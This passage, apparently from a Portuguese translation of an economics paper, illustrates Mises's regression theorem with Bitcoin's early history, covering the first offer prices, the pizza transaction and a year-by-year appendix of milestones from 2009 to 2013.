&lt;p>Este é o momento em que o componente de origem do teorema da regressão busca &amp;ldquo;regredir&amp;rdquo; de volta. Esta era uma época em que os bitcoins tinham &lt;em>algum&lt;/em> valor para &lt;em>algumas&lt;/em> pessoas, mas sair e comprar algo com bitcoins — facilitando negociações com eles - não estava entre os usos disponíveis. Naquela época, poderia ter sido mais fácil trocar bife diretamente por farinha com o vizinho ovo-vegetariano do que obter qualquer coisa em troca de Bitcoin.&lt;/p>
&lt;p>Essa condição, na qual havia algum valor para alguns agentes, mas zero valor de troca indireta, estava prestes a começar a mudar. Embora o teorema da regressão seja uma dedução lógica das definições, para aqueles que gostam de ilustrações históricas de seus princípios teóricos, o Bitcoin fornece um exemplo documentado de livro didático.&lt;/p>
&lt;h2 id="o-primeiro-surgimento-dos-preços-do-bitcoin-por-dinheiro">O primeiro surgimento dos preços do Bitcoin por dinheiro&lt;/h2>
&lt;p>Em 5 de outubro de 2009, &lt;em>nove meses depois&lt;/em> que a rede Bitcoin entrou em operação, o primeiro preço de oferta de Bitcoin registrado foi postado. Ele totalizou 13 bitcoins por um centavo, especificamente, 1.309,03 Bitcoins por um dólar, que o pôster calculou com base em seus variáveis custos de mineração&lt;sup id="fnref:32">&lt;a href="#fn:32" class="footnote-ref" role="doc-noteref">32&lt;/a>&lt;/sup>&lt;/p>
&lt;p>Alguns meses depois, em 22 de maio de 2010, foi o que se acredita ter sido o primeiro uso do Bitcoin para comprar em mercado &amp;ldquo;real&amp;rdquo; um bem a um custo de 10.000 Bitcoins por $25 no valor de uma pizza.&lt;sup id="fnref:33">&lt;a href="#fn:33" class="footnote-ref" role="doc-noteref">33&lt;/a>&lt;/sup> Na realidade, a outra parte facilitou a compra de pizza aceitando Bitcoin e pagando pela pizza com um cartão de crédito. A fama da transação &amp;ldquo;Pizza Bitcoin&amp;rdquo;, embora um importante marco simbólico, é apenas uma exceção à generalização de que o Bitcoin não estava usado para comprar bens ou serviços na época. Em vez de simplesmente facilitar a compra de uma pizza como tal, ela pode ser lida mais como uma ocasião para vender 10.000 Bitcoins para alguém que pagou $25 por cartão de crédito, e como aconteceu, os $25 foram direcionados para o provedor de pizza em vez de para o vendedor de Bitcoin.&lt;/p>
&lt;p>Independentemente de como for categorizado, o valor equivalente foi de $25 para 10.000 bitcoins, ou quatro bitcoins por um centavo, um aumento triplo em relação ao primeiro preço cotado um semestre antes. Esta foi &lt;em>uma&lt;/em> novata transação de câmbio quase indireta (e mal pode ser contada assim) usando Bitcoin, provavelmente feito em parte em brincadeira, 16 meses depois que a rede entrou em operação. Claramente, o Bitcoin não simplesmente saltou para a vida como uma moeda em funcionamento.&lt;/p>
&lt;p>Vários meses depois, em 17 de julho de 2010, a primeira transação pública de câmbio registrada para Bitcoin na nova corretora MtGox teve um preço de $0,05, que subiu para uma faixa de $0,06 –0,09 dólares por bitcoin nos próximos dias.&lt;/p>
&lt;p>O que pode ser difícil de entender é que devido à natureza digital das unidades de bitcoin, seus custos de transação quase zero, e forças extremas em várias das características principais valiosas para o uso como meio de troca, o início de &lt;em>qualquer&lt;/em> valor de troca, não importa quão pequeno, poderia ser suficiente para ajudar a começar a negociação dessas unidades. E começar com isso eventualmente o fez.&lt;/p>
&lt;p>Uma vez que algumas transações começaram, e as primeiras empresas começaram a aceitar Bitcoin em pagamento por bens e serviços &amp;ldquo;reais&amp;rdquo;, novas expectativas de um futuro componente de valor como meio de troca também poderiam começar a ser construídas — &lt;em>dentro&lt;/em> dos grupos relevantes de usuários. À medida que mais pessoas testemunharam os estranhos pioneiros realmente usando o sistema para interagir com coisas reais, o que antes era &lt;em>apenas&lt;/em> um experimento começou a fazer interfaces provisórias com a economia cambial mais ampla. Isso só se torna inconfundível no registro histórico em 2011.&lt;sup id="fnref:34">&lt;a href="#fn:34" class="footnote-ref" role="doc-noteref">34&lt;/a>&lt;/sup>&lt;/p>
&lt;p>Apenas algumas pessoas, e depois mais algumas, tiveram que dar passos marginais nessa direção, e outras para eventualmente imitá-las, ano após ano. Carl Menger descreveu, em 1892, os processos que assim começaram e que continuam acelerando até o presente:&lt;/p>
&lt;blockquote>
&lt;p>&lt;em>Não há melhor método de esclarecer qualquer um sobre seus interesses econômicos do que perceber o sucesso econômico daqueles que usam os meios certos para garantir os seus próprios. Assim, também é evidente que nada pode ter sido tão favorável à gênese de um meio de troca como a aceitação, por parte dos sujeitos econômicos mais criteriosos e capazes, para seu próprio ganho econômico, e ao longo de um período considerável de tempo, de bens eminentemente vendáveis em preferência a todos os outros.&lt;/em>&lt;/p>
&lt;/blockquote>
&lt;p>Dessa forma, a prática e o hábito certamente contribuíram não pouco para fazer com que as mercadorias, que eram mais vendáveis a qualquer momento, fossem aceitas não apenas por muitos, mas, finalmente, por todos os sujeitos econômicos em troca de seus bens menos vendáveis; e não só assim, mas para serem aceito desde o início com a intenção de trocá-los novamente. Bens que se tornaram, portanto, geralmente aceitáveis como meio de troca foram chamados pelos alemães &lt;em>Geld&lt;/em>, de &lt;em>gelten&lt;/em>, ou seja, para pagar, para realizar, enquanto outras nações derivaram sua designação para dinheiro principalmente da substância usada, a forma da moeda, ou mesmo de certos tipos de moeda. (Menger 2009, 37)&lt;/p>
&lt;p>Bitcoins oferecem pelo menos várias vantagens competitivas atraentes em relação a outras opções:&lt;/p>
&lt;ol>
&lt;li>
&lt;p>São uma unidade global inerentemente apolítica sem respeito às fronteiras. Os potenciais parceiros comerciais diretos a longo prazo incluem, portanto, toda a população humana, desde a barista na esquina até o produtor que envia grãos frescos de café diretamente para todo o mundo.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>São infinitamente duráveis no tempo e (quase) transportáveis no espaço. Eles poderiam durar potencialmente para sempre (para qualquer propósito prático) com degradação zero. Como colares e metais antes deles — exceto que em nível muito maior — o acesso a eles pode ser facilmente movido, ou até mesmo apenas lembrado, para que possam ser escondidos em momentos de ameaça.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Possuem características de escassez superiores a todas as outras alternativas monetárias conhecidas. A limitação de seu fornecimento está incorporada em sua definição. Esta abordagem é superior às limitações ancoradas apenas no fornecimento prático e variável de alguma substância química, como a prata. Eles são ainda mais obviamente superiores quando comparados com o registro comprovado de maquinações inflacionárias por parte de nomeados políticos cuidadosamente selecionados encarregados de suprimentos de dinheiro fiduciário.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Eles oferecem custos de transação que são quase infinitamente pequenos do ponto de vista dos usuários, e isso vale para qualquer quantia ao longo de qualquer distância.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Não podem ser falsificados, diluídos ou multiplicados, ao contrário de notas de papel e moedas metálicas.&lt;/p>
&lt;/li>
&lt;/ol>
&lt;p>Com uma linha totalmente sem precedentes de características monetárias (entre outras), &lt;em>qualquer&lt;/em> valor de negociação de ponto de lançamento poderia ter sido suficiente para que tais unidades tão extraordinariamente adequadas pudessem começar a adquirir um componente de valor como meio de troca entre alguns usuários. Sendo o primeiro entre as criptomoedas modernas a dar esse salto, o Bitcoin tem permanecido muito à frente de moedas imitadoras posteriores baseadas em vantagem de pioneiros, efeitos de rede e velocidade agregada de hashing de rede, tornando-se, e permanecendo por uma margem maciça, a mais &amp;ldquo;vendável&amp;rdquo; de todas as criptomoedas existentes.&lt;/p>
&lt;p>O componente de valor como meio de troca dos bitcoins agora é claro e dominante &lt;em>em retrospecto&lt;/em>. Como um novo tipo de metal desenterrado um dia, há milhares de anos, seu perfil de valor na sociedade emergiu gradualmente de aparentemente nada. Seu valor de troca então se moveu todo o caminho até&amp;hellip; quase nada. Em seguida, mudou-se para&amp;hellip; um pouco acima de quase nada. E, finalmente, vem se construindo gradualmente nos últimos três-quatro anos com alguns saltos dramáticos ao longo do caminho, à medida que círculos crescentes de reconhecimento social entram em jogo.&lt;sup id="fnref:35">&lt;a href="#fn:35" class="footnote-ref" role="doc-noteref">35&lt;/a>&lt;/sup>&lt;/p>
&lt;p>No entanto, não importa qual seja o seu valor atual em relação a outras moedas, ele pode continuar a preencher um papel como um método de custo quase zero de transmitir poder de compra à distância para qualquer transação. Os usuários que optarem por serviços que se convertem dentro e fora do Bitcoin imediatamente para cada transação podem estar totalmente livres de risco cambial, enquanto outros usuários optam por assumir tais riscos conscientemente na expectativa de ganhos de curto ou longo prazo. Um possível papel futuro para o Bitcoin como o que eu defini como um dinheiro (uma unidade de precificação, contabilidade e cálculo econômico) teria que esperar muito mais estabilidade relativa de valor em comparação com opções concorrentes para essas funções.&lt;/p>
&lt;p>No entanto, deve-se ressaltar também que o crescimento do valor, como contrasta com a queda constante do valor do dinheiro fiduciário, é uma vantagem separada da estabilidade em si. Algumas pessoas podem preferir ter a opção de manter alguns saldos em unidades que ganharam valor instável, em contraste com os saldos de outras unidades que o perderam de forma constante.&lt;/p>
&lt;h2 id="distinguindo-os-componentes-do-valor-inicial">Distinguindo os componentes do valor inicial&lt;/h2>
&lt;p>Os primeiros pioneiros do Bitcoin estavam tentando criar um sistema funcional de transmissão de valor que continha unidades para serem usadas como meio de troca. Apesar dessa esperança, pelo menos para 2009, e as evidências sugerem também 2010, eles ainda não tinham conseguido. Bitcoin &lt;em>não foi&lt;/em> usado como meio de troca. Quaisquer que fossem seus sonhos ou imaginações futuras, as transações de troca indiretas basicamente não foram facilitadas usando Bitcoin.&lt;sup id="fnref:36">&lt;a href="#fn:36" class="footnote-ref" role="doc-noteref">36&lt;/a>&lt;/sup>&lt;/p>
&lt;p>As unidades de Bitcoin, no entanto, entraram nas estruturas de ação desses primeiros usuários de várias maneiras. Eram objetos de ação direta e indiretamente como &amp;ldquo;ligados&amp;rdquo; com outros fins, como as metas de refinamento do sistema, desenvolvimento de mineração e participação de projetos. Isso os tornou bens (meios para fins, em termos Misesianos).&lt;/p>
&lt;p>Resumindo, alguma mistura dos seguintes componentes de valor &lt;em>não&lt;/em>-meio de troca de unidades de bitcoin existia para alguns usuários em um período durante 2009 e 2010 antes do Bitcoin operar em qualquer função monetária de média de câmbio. Isso foi depois que o Bitcoin começou a existir e ganhar algum valor para alguns atores dentro de suas respectivas estruturas de fins e meios, mas antes começou a ter qualquer componente de valor para uso na facilitação de trocas indiretas para outros bens e serviços.&lt;/p>
&lt;p>As pessoas relevantes foram os pioneiros que estavam efetivamente participando na rede Bitcoin, contribuindo para o refinamento precoce de seu software e outras tecnologias. Mais tarde, alguns participantes adicionais compraram bitcoins (como instrumentos de investimento financeiro altamente arriscados) com dinheiro apenas no caso de as unidades se tornarem algo no futuro. Bitcoins podem ter funcionado de qualquer uma dessas várias maneiras possíveis não monetárias:&lt;/p>
&lt;ol>
&lt;li>
&lt;p>Um conjunto de objetos digitais que poderiam se tornar um meio de troca &lt;em>no futuro&lt;/em> se a rede fosse de alguma forma bem sucedida e se suas unidades eventualmente começassem a ser tomadas como um meio de troca. Qualquer nova classe de bem valioso é reconhecida e valorizada primeiro por poucas pessoas, muitas vezes antes de ter qualquer uso &amp;ldquo;prático&amp;rdquo;. Muitos desses bens nunca chegam a muito, mas outros decolam e acabam sendo valorizados amplamente.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Um conjunto de objetos digitais que poderiam ser enviados para frente e para trás para outros participantes como forma de teste formal ou informal da rede, ou mesmo como um tipo de interação social dentro do projeto. Muitas das interações do projeto ocorreram online à distância sobre fóruns, e em alguns casos os participantes eram pseudônimos.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Blocos estavam sendo extraídos, um dos objetivos era verificar transações. Sem transações para verificar, os processos de teste de rede e experimentação teriam permanecido incompletos, fornecendo uma razão para emitir transações em alguns pontos da rede, mesmo que apenas para fins de experimentação e teste.&lt;sup id="fnref:37">&lt;a href="#fn:37" class="footnote-ref" role="doc-noteref">37&lt;/a>&lt;/sup>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Em alguns pontos e para algumas pessoas, as unidades de bitcoin poderiam ter funcionado como um conjunto de objetos digitais semelhantes a brinquedos que poderiam ser coletados incidentalmente ou mesmo competitivamente no curso dos processos acima de experimentação. Isso pode ser semelhante à forma como as pessoas naturalmente gostam de competir acumulando e comparando diferentes quantidades de dinheiro digital ou pontos dentro dos jogos, independentemente de qualquer avaliação do &amp;ldquo;mundo real&amp;rdquo;. Seria então um bônus extra se um eventual valor do mundo real &lt;em>também&lt;/em> realmente pudesse emergir, como em (1).&lt;/p>
&lt;/li>
&lt;li>
&lt;p>A posse de maior ou menor número de bitcoins poderia ser tomada como um distintivo de associação e compromisso, ou como sinais e artefatos de participação. Possíveis interesses não cambiais poderiam ter facilmente incluído: interesse teórico e científico, desafio de programação, pesquisa de segurança, interesse ideológico em promover a liberdade de transação e interesse na possibilidade de disponibilizar uma moeda de valor crescente pela primeira vez em um século para aqueles que desejavam ter a opção de usar uma. As motivações de adesão e promoção são comuns em esforços humanos, presentes sempre que dizemos que alguém está &amp;ldquo;perseguindo uma causa&amp;rdquo;.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Uma forma de propriedade inicial em forma de estoque no sistema de pagamento (potencial) que transmitiria a capacidade de participar dela de forma mais favorável no futuro e ajudasse a promovê-la desde um estágio inicial. Essa participação metafórica de investimento em todo o sistema também cria um pequeno incentivo direto para agir de forma favorável à saúde geral do sistema. Todos os primeiros participantes investiram seu tempo e esforço em uma base individual e voluntária.&lt;/p>
&lt;/li>
&lt;/ol>
&lt;p>Alguns desses valores não-meios de troca de unidades de bitcoin, ou descendentes delas, persistem até hoje entre alguns participantes do sistema. Estes incluem: retenção a longo prazo dos saldos do Bitcoin como poupança (muitas vezes ridicularizada como &amp;ldquo;especulação&amp;rdquo;); esforços para espalhar a palavra e introduzir outros ao Bitcoin em bases individuais e institucionais — incluindo a doação de pequenas quantidades de Bitcoin para novos usuários — o que amplia a rede de usuários e aplicativos; esforços para promover a liberdade de transação e a liberdade de &amp;ldquo;censura financeira&amp;rdquo;; e esforços educacionais para explicar as vantagens econômicas gerais da disponibilidade de uma unidade de comércio de valor crescente para aqueles que desejam usar um.&lt;/p>
&lt;h2 id="adicione-um-ponto-para-os-loucos-também">Adicione um ponto para os loucos também&lt;/h2>
&lt;p>O processo pelo qual o valor do Bitcoin para uso como meio de troca surgiu foi documentado e arquivado em registros online e em memórias vivas. Os primórdios do Bitcoin servem como uma ilustração do aspecto de origem do teorema da regressão que é semelhante em princípio — embora, naturalmente, não de forma específica, dada a configuração geográfica ou escala de tempo — às perspectivas de evolução de mercado que interpretam processos pelos quais surgiram meios tangíveis anteriores de troca.&lt;/p>
&lt;p>Ou seja, em cada caso que consideramos, alguns dos &amp;ldquo;loucos&amp;rdquo;&lt;sup id="fnref:38">&lt;a href="#fn:38" class="footnote-ref" role="doc-noteref">38&lt;/a>&lt;/sup> estavam brincando e coletando coisas que eram inúteis para qualquer coisa que teria sido considerada um propósito geralmente &amp;ldquo;prático&amp;rdquo; nas fases de origem em questão, como contas de conchas, metais brilhantes, ou bitcoins. Eventualmente, porém, um uso econômico adicional para essas meras bugigangas - na verdade usando-as para facilitar as negociações - foi gradualmente e em ajustes começado a ser colocado em prática, com alguns resultados favoráveis. Essa prática então se espalhou com alguma mistura de imitação e redescoberta independente recorrente.&lt;/p>
&lt;p>Tais experimentos foram provavelmente encontrados em todos os casos com sobrancelhas franzidas e descrença por parte de observadores mais sóbrios ainda dispostos a trocar coisas &amp;ldquo;reais&amp;rdquo; por miçangas, metais macios brilhantes, ou no caso atual&amp;hellip; eles não têm a menor ideia do quê. A diferença é que, hoje, o processo de cada vez mais pessoas descobrindo como fazer uso do Bitcoin para facilitar o comércio está ocorrendo em todo o mundo e na velocidade da internet e boca a boca.&lt;/p>
&lt;p>Que os inventores do Bitcoin e os primeiros desenvolvedores &lt;em>pretendiam&lt;/em> que a rede fosse usada para esse fim pode ser confusa para algumas pessoas à luz das caracterizações gerais dos fenômenos de mercado como sendo &amp;ldquo;emergentes&amp;rdquo; e &amp;ldquo;o resultado da ação humana, mas não do design humano&amp;rdquo;. Pode lembrá-los, vagamente, da história de estado-teoria do dinheiro de imposição &amp;ldquo;fiat&amp;rdquo; por um governante. Poderia até lembrar alguns de um golpe complexo no qual golpistas qualificados empurram ações inúteis em seu último esquema.&lt;/p>
&lt;p>No entanto, o Bitcoin não tinha nenhum status legal quando estava nascendo. Isso o torna o mais distante possível de uma imposição &amp;ldquo;fiat&amp;rdquo; central através de alguma designação oficial ou taxa de câmbio fixa. Mesmo anos após o lançamento, os sistemas jurídicos convencionais estão apenas começando a tentar descobrir como categorizá-lo dentro dos regimes de classificação burocrática existentes.&lt;/p>
&lt;p>Os usuários não são obrigados a adotar o Bitcoin. As pessoas nem têm sido muito pressionadas a usá-lo por vendedores inteligentes inventando histórias. Embora tenha havido alguns golpistas de pirâmide específicos e ladrões no mundo bitcoin, seus golpes não eram Bitcoin, &lt;em>seus golpes eram&lt;/em> basicamente &lt;em>seus golpes&lt;/em>. Esses golpes passaram a ser &lt;em>denominados&lt;/em> em Bitcoin nesses casos particulares, mas golpes semelhantes envolveram todos os tipos de outras unidades valiosas ao longo do tempo.&lt;/p>
&lt;p>O Bitcoin foi oferecido como uma invenção/descoberta de uma nova maneira de fazer algo muito antigo — transferir o controle do poder de compra de uma parte para outra. Este método foi oferecido gratuitamente a toda a população humana. No entanto, as pessoas ainda tinham que levá-lo para cima e colocá-lo para este uso. Cada pessoa permanece totalmente livre para ignorá-lo ou usá-lo de alguma forma, e apenas na medida exata da participação voluntária de cada pessoa.&lt;/p>
&lt;p>Os elementos de invenção intencional provavelmente ajudam a explicar por que o Bitcoin é superior a qualquer meio alternativo conhecido de troca em quase todas as características significativamente relevantes (a tangibilidade é uma característica histórica incidental, eu argumentei). Deve uma superioridade competitiva ampla e avassaladora para um determinado propósito ser um desqualificador para esse fim? Isso seria estranho, de fato. No entanto, alguém já familiarizado com os aspectos teóricos do surgimento do dinheiro poderia levar, e parece ter levado, esses insights muito em consideração na tentativa de moldar um bem melhor para uso nesse papel.&lt;/p>
&lt;p>No entanto, ainda vimos que ainda havia uma grande lacuna entre a implementação dos elementos intencionais por trás do novo bem digital tecnicamente produzido e as fases graduais subsequentes, quando as pessoas começaram a colocar provisoriamente esse novo bem estranho para uso em algumas de suas funções imaginadas. Em outras palavras, houve uma grande lacuna entre o lançamento da rede de código aberto, peer-to-peer (camada técnica), e o tempo em que as unidades de bitcoin realmente começaram a ser usadas no comércio (camada econômica, ou mais precisamente, &amp;ldquo;cataláctica&amp;rdquo;).&lt;/p>
&lt;p>Houve uma fase puramente técnica e experimental em andamento bem antes de haver qualquer absorção da unidade/sistema para uso monetário na sociedade. Durante esta fase inicial, não ficou claro até mesmo para especialistas dentro se o projeto teria sucesso tecnicamente ou ganharia qualquer tração monetária. A eventual conquista de um preço de $1 foi motivo de uma grande celebração na época entre os primeiros entusiastas, juntamente com um pouco de lucro de alguns mineiros pioneiros.&lt;/p>
&lt;p>O surgimento do Bitcoin como meio de troca foi original, como em miçangas ou metais no passado. Não era derivativo, com valores monetários tomados de precursores tangíveis, como com a história dos bilhetes de papel modernos e entradas de contas digitais fiat.&lt;/p>
&lt;p>Ao mesmo tempo, o Bitcoin é um caso novo. Sua escassez foi alcançada sem tangibilidade. Não foi recolhido na praia e esculpido, nem foi escavado do lado de uma montanha e limpo ou derretido. Foi construído a partir dos meandros das novas inovações criptográficas e científicas da computação que foram remixadas e montadas de uma maneira nova e valiosa. O Bitcoin é extraído do lado crypto-cyberspace da montanha. O primeiro hit de uma picareta neste minério nunca antes visto foi ouvido em 3 de janeiro de 2009.&lt;/p>
&lt;p>Satoshi Nakamoto colocou essa rede em movimento no contexto de um tremendo trabalho e sobreposição de inovações complexas por parte de muitos outros, antes e desde o horário inicial do Genesis Block. Coube ao teste do tempo determinar se o que foi iniciado continuaria. A decisão estava com as escolhas livres do resto da humanidade que assumiria essas unidades e começaria a usá-las como um novo meio de troca.&lt;/p>
&lt;p>Não ficou claro se, ou até que ponto, alguém &amp;ldquo;compraria&amp;rdquo; tanto as unidades quanto a ideia de usar o novo protocolo de pagamento em que estão incorporados. Isso é provavelmente muito mais semelhante ao que poderia ser imaginado a princípio dos processos de pensamento de alguns caçadores-coletores céticos ou agricultores primitivos tomando um fôlego profundo e finalmente aceitando pela primeira vez algumas miçangas ou pedaços de metais macios brilhantes no comércio de bens &amp;ldquo;reais&amp;rdquo;.&lt;/p>
&lt;p>Nenhum decreto ou comando faz com que as pessoas começassem a negociar em Bitcoin. A adoção também não resultou de alguma pressão de vendas inteligente, aproveitando-se dos desinformados. Em contraste diamétrico, quanto mais informadas as pessoas são sobre os fundamentos técnicos do Bitcoin, mais eles tendem a apreciá-lo. Enquanto isso, os detratores casuais geralmente parecem exibir pouca ou nenhuma compreensão técnica de como o sistema funciona.&lt;/p>
&lt;p>O Bitcoin nos dá uma ilustração da declaração praxeológica de Mises do teorema da regressão. Ele fornece um estudo de caso empírico que foi documentado em um nível de detalhes nunca antes visto. Se assim for, os pesquisadores do campo da história econômica ainda poderiam entrevistar pessoalmente quase todos que estavam envolvidos em todas as etapas desse processo (exceto os inventores sabiamente evasivos), um projeto que Peter Šurda já vem avançando.&lt;/p>
&lt;p>Nossos primeiros comerciantes de miçangas de dezenas de milhares de anos atrás não estão ainda fazendo entrevistas. O Bitcoin pode muito bem ser o nosso caso histórico mais bem documentado das primeiras origens de um meio de troca totalmente novo no mercado, livre dos ditames de qualquer governante.&lt;/p>
&lt;h2 id="apêndice-a-interpretação-monetária-por-ano">Apêndice A: Interpretação monetária por ano&lt;/h2>
&lt;p>Esses apêndices fornecem detalhes adicionais e análises sobre o histórico de preços de longo prazo e a interpretação de diferentes fases históricas do desenvolvimento do Bitcoin. O apêndice A desenvolve uma interpretação empírica ano a ano dos padrões de eventos de notícias do Bitcoin em termos de estágios de evolução monetária. O apêndice B desenvolve então um único gráfico de preços de todos os tempos e explica a seleção dos dados por trás dele.&lt;/p>
&lt;p>Com base nisso, 2011 parece fornecer o conjunto mais claro de marcos empíricos para o primeiro surgimento de um componente de valor como meio de troca. O Bitcoin não tinha esse componente por todo o ano de 2009 e na maioria, se não todos os meses, de 2010. Este é o componente da avaliação com o propósito de facilitar as trocas indiretas — em termos simples, licitando Bitcoin em negociação de bens e serviços. Ao contrário de 2009-2010, este componente específico inequivocamente &lt;em>de fato&lt;/em> desenvolveu-se ao longo de 2011, e vem se construindo a cada ano sucessivo.&lt;/p>
&lt;p>Os preços de abertura de ano e semana de fechamento do ano são estimativas médias ponderadas semanais ou estimativas brutas utilizadas na construção do gráfico no Apêndice B (detalhes explicados lá). O principal impulso das informações do evento abaixo é derivado das páginas &lt;em>History&lt;/em> e &lt;em>Bitcoin Firsts&lt;/em> no Bitcoin.it/wiki, com informações adicionais de notícias e comunicados de imprensa. Esta não é feita para ser uma história exaustiva, mas para fornecer um conjunto de exemplos bem conhecidos suficientes para ilustrar os estágios gerais.&lt;/p>
&lt;h3 id="bitcoin-ano-1-2009">Bitcoin Ano 1 (2009)&lt;/h3>
&lt;p>&lt;em>Primeira semana: Sem preço, Média da última semana: $0,0006 (ofertado)
Mudança: N/A&lt;/em>&lt;/p>
&lt;h4 id="marcos-notáveis">Marcos notáveis&lt;/h4>
&lt;p>Janeiro: Bloco Gênesis, primeira transação&lt;/p>
&lt;p>Outubro: New Liberty Standard começa a publicar preços de oferta com base em custos de produção&lt;/p>
&lt;p>Geral: Desenvolvimento de software e da rede&lt;/p>
&lt;h4 id="características">Características&lt;/h4>
&lt;p>Experimento técnico sem uso monetário funcional&lt;/p>
&lt;p>O ano 1 foi uma fase de experimentação técnica, com, na mente dos entusiastas principais, possibilidades remotas e de sucesso de longo prazo para o Bitcoin em seu papel pretendido de meio de troca. Não só não há evidência de qualquer uso como meio de troca, como um valor de negociação perceptível das unidades era pouco evidente e limitado a casos dispersos. No entanto, as unidades surgiram e, gradualmente, começaram a ser brincadas, coletadas e colocadas em uso dentro das estruturas da ação.&lt;/p>
&lt;h3 id="bitcoin-ano-2-2010">Bitcoin Ano 2 (2010)&lt;/h3>
&lt;p>&lt;em>Média da primeira semana: $0,0036 Última: $0,27 Variação: +7400%&lt;/em>&lt;/p>
&lt;h4 id="marcos-notáveis-1">Marcos Notáveis&lt;/h4>
&lt;p>Fevereiro: Bitcoin Market abre para negociação de Bitcoin&lt;/p>
&lt;p>Maio: A transação de pizza em bitcoin&lt;/p>
&lt;p>Julho: Bolsa MtGox no Japão abre negociação de Bitcoin&lt;/p>
&lt;p>Outono: Experimentação financeira anedótica com &lt;em>shorts&lt;/em> e opções de Bitcoin&lt;/p>
&lt;h4 id="características-1">Características&lt;/h4>
&lt;p>Experimento técnico crescente, com negociação mais organizada de Bitcoin como um novo bem investimento digital&lt;/p>
&lt;p>O 2º ano viu o primeiro desenvolvimento de preços autênticos de mercado para compra e venda de Bitcoin (além das cotações de custo de produção). Ainda havia pouco ou nenhum uso visível do Bitcoin para facilitar a compra e venda de bens e serviços, embora a negociação de Bitcoin &lt;em>como&lt;/em> um bem de investimento digital tenha progredido.&lt;/p>
&lt;h3 id="bitcoin-ano-3-2011">Bitcoin Ano 3 (2011)&lt;/h3>
&lt;p>&lt;em>Primeira WWA: $0,31 Última WWA: $4.26 Variação: +1274%&lt;/em>&lt;/p>
&lt;h4 id="marcos-notáveis-2">Marcos Notáveis&lt;/h4>
&lt;p>Janeiro: Doações apoiando o sistema de negociação Bitcoin OTC IRC (primeiro em 28 de dezembro de 2010).&lt;sup id="fnref:39">&lt;a href="#fn:39" class="footnote-ref" role="doc-noteref">39&lt;/a>&lt;/sup> Três notas de cem trilhões de dólares do Zimbábue compradas em Bitcoin OTC por 4 bitcoins&lt;/p>
&lt;p>Fevereiro: O mercado resistente à proibição Silk Road foi lançado. Primeiro carro oferecido à venda por Bitcoin&lt;/p>
&lt;p>Maio/Junho: A página &amp;ldquo;Bitcoin Firsts&amp;rdquo; lista seis supostas primeiras transações do tipo. Pub Room77 em Berlim aceita Bitcoin&lt;/p>
&lt;p>Agosto: A bolsa Bitstamp abre na Europa. Lançamento do Blockchain.info&lt;/p>
&lt;p>Setembro: Mercado de &amp;ldquo;eBay para Bitcoin&amp;rdquo; da Bitmit é aberto; Carteira de desktop MultiBit anunciada&lt;/p>
&lt;p>Nov/Dez: A vizinhança Bitcoin-Kiez em Berlim começa a ganhar mais lojas. Cliente da carteira Electrum Bitcoin é anunciado&lt;/p>
&lt;h4 id="caracterização">Caracterização&lt;/h4>
&lt;p>Primeiro padrão claro de facilitação de compras de bens e serviços&lt;/p>
&lt;p>O 3º ano foi o primeiro durante o qual o registro histórico se mostrou inconfundível, múltiplas linhas de evidência de que o Bitcoin foi usado para comprar bens e serviços, tanto online quanto pessoalmente. As possibilidades ainda eram bastante limitadas, mas era evidente que o Bitcoin estava sendo usado para pagar preços de bens e serviços, em vez de apenas ser negociado por dinheiro como um bem de investimento digital.&lt;/p>
&lt;h3 id="bitcoin-ano-4-2012">Bitcoin Ano 4 (2012)&lt;/h3>
&lt;p>&lt;em>Primeira WWA: $5.84 Última WWA: $13.37 Variação: +129%&lt;/em>&lt;/p>
&lt;h4 id="marcos-notáveis-3">Marcos Notáveis&lt;/h4>
&lt;p>Geral: Página &amp;ldquo;Bitcoin Firsts&amp;rdquo; continua a listar histórias de supostos primeiros tipos de transações de Bitcoin&lt;/p>
&lt;p>Janeiro: Projeto de carteira de desktop segura Armory é anunciado&lt;/p>
&lt;p>Março: Aplicativo Blockchain para Android lançado. Primeira empresa de gestão de propriedades aceita Bitcoin&lt;/p>
&lt;p>Abril: Site de apostas SatoshiDice Bitcoin anunciado. Aplicativo Blockchain para iOS lançado&lt;/p>
&lt;p>Junho: O serviço de carteira hospedada da Coinbase é lançado, oferecendo integração direta a contas bancárias nos EUA&lt;/p>
&lt;p>Setembro: Processador de pagamento BitPay Bitcoin anuncia que tem 1.000 clientes comerciantes. Fundação Bitcoin estabelecida&lt;/p>
&lt;p>Novembro: Wordpress começa a aceitar Bitcoin. Bitcoinstore abre, vendendo eletrônicos para Bitcoin&lt;/p>
&lt;h4 id="características-2">Características&lt;/h4>
&lt;p>Uso como meio de troca expandido, baseando-se em ano anterior&lt;/p>
&lt;p>O 4º ano viu uma consolidação constante, misturada com notícias negativas de escândalos dispersos e trocas ou violações de segurança de usuários. No entanto, um fluxo de notícias indicou expansão de opções de compra e venda de bens e serviços com Bitcoin; seu componente de valor como meio de troca continuou a crescer.&lt;/p>
&lt;h3 id="bitcoin-year-5-2013-ytd">Bitcoin Year 5 (2013-YTD)&lt;/h3>
&lt;p>&lt;em>Primeira WWA: $13.11 28 Oct WWA: $198.88 Variação: +1417%&lt;/em>&lt;/p>
&lt;h4 id="marcos-notáveis-4">Marcos Notáveis&lt;/h4>
&lt;p>Fevereiro: Reddit e Mega começam a aceitar Bitcoin&lt;/p>
&lt;p>Março/Abril: Corrida de compras associados na mídia com a falência de Chipre&lt;/p>
&lt;p>Maio: Anúncio de compra de cartão de presente do Gyft através do BitPay anunciado. Mercado de artigos de luxo BitPremier lançado&lt;/p>
&lt;p>Setembro: BitPay anuncia que tem 10.000 clientes comerciantes, aumentou 10x em um ano.&lt;/p>
&lt;p>Outubro: Mercado Silk Road derrubado. Curto movimento cambial para baixo, seguido por um rali de um mês, subiu 60% em relação ao nível pré-anúncio, acompanhado pela onda de notícias da China. Primeiros caixas eletrônicos bitcoin enviados e sendo instalados para uso comercial&lt;/p>
&lt;h4 id="caracterização-1">Caracterização&lt;/h4>
&lt;p>Uso como meio de troca em expansão, baseando-se em dois anos anteriores&lt;/p>
